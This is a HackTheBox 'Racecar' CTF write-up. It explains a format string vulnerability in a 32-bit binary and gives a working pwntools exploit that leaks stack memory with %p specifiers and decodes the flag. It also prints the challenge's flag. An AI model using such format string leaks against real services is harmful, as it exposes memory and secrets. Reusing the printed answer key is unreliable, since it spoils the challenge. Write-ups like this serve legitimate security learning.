HTB: Racecar
A HackTheBox pwn challenge with a format string attack.
1. Introduction
Racecar is a very easy pwn challenge. In this challenge I will use a format string attack.
2. First look
Running file racecar
shows that it is a 32 bit binary.
Running the program with some input shows the following output:
3. Reconnaissance
I will open the binary in Ghidra and search for strings
Scrolling down a bit, I notice the same strings as I saw when I ran the binary.
First red block
After clicking on one of the strings, I open the decomplied view. Here I notice that the flag.txt
is opened in read mode and returns a pointer to __stream.
Second red block
The fgets function reads a line from the file pointed to by __stream
(the flag) and stores it in the buffer local_3c
, which is an array of size 0x2c
(44 bytes).
Third red block
The read(0, __format, 0x170)
reads my input and stores it in the buffer __format
of size 0x170
(368 bytes).
4. Vulnerability analysis
My input is printed at the printf, but our input is not checked, hence we can do a format string attack.
Common parameters used in a format string attack
Parameters | Output | Passed as |
---|---|---|
%p | External representation of a pointer to void | Reference |
%d | Decimal | Value |
%c | Character | |
%u | Unsigned decimal | Value |
%x | Hexadecimal | Value |
%s | String | Reference |
%n | Writes the number of characters into a pointer | Reference |
More information about format string attacks can be read here: https://owasp.org/www-community/attacks/Format_string_attack.
If I run the binary and give many %p
’s, data on the stack will be leaked in hexadecimal.
5. Exploitation
Great, I know how to print values from the stack, since we can run the binary lically to test, I can create a flag with the value AAAA
, this will make it easy to spot in all the %p
’s.
And as expected the flag is leaked.
all there is left is write a pwntools script that replicate this and get the real flag.
Mimick user input via pwntools
#!/usr/bin/env python3
from pwn import *
try:
context.log_level = 'ERROR'
payload = b'%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p'
ip = '178.62.9.40' # replace with the IP of the target
port = 32538 # replace with the port of the target
p = remote(ip, port) # Connect to the remote service
# p = process('./racecar') # used for local testing
p.sendlineafter(b'Name:', b'a')
p.sendlineafter(b'Nickname:', b'aa')
p.sendlineafter(b'>', b'2') #selectio
p.sendlineafter(b'>', b'2') # car
p.sendlineafter(b'>', b'1') #circuit
p.sendlineafter(b'>', payload)
x = p.recv()
x = p.recv().decode('utf-8')
flag_hex_string = x.split('\n')[2]
print(f'flag encoded: {flag_hex_string}')
except Exception as e:
print(f'Exception {e}')
Great, that gives the following output
Now we have to add the decoding, that gives the following complete script:
#!/usr/bin/env python3
from pwn import *
try:
context.log_level = 'ERROR'
payload = b'%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p'
ip = '178.62.9.40' # replace with the IP of the target
port = 32538 # replace with the port of the target
p = remote(ip, port) # Connect to the remote service
# p = process('./racecar') # used for local testing
p.sendlineafter(b'Name:', b'a')
p.sendlineafter(b'Nickname:', b'aa')
p.sendlineafter(b'>', b'2') #selectio
p.sendlineafter(b'>', b'2') # car
p.sendlineafter(b'>', b'1') #circuit
p.sendlineafter(b'>', payload)
x = p.recv()
x = p.recv().decode('utf-8')
flag_hex_string = x.split('\n')[2]
print(f'flag encoded: {flag_hex_string}')
# === flag decoding ===
flag_hex_string_array = flag_hex_string.split(' ')
flag = ''
for piece in flag_hex_string_array:
without_0x = piece[2:]
try:
blep = bytearray.fromhex(without_0x).decode('utf-8', errors='replace')
blep = blep[::-1]
flag += blep
except:
pass
print(f'flag: {flag}')
except Exception as e:
print(f'Exception {e}')
And the flag can be read succesfully, you have to look closely ;)
Flag: HTB{why_d1d_1_s4v3_th3_fl4g_0n_th3_5t4ck?!}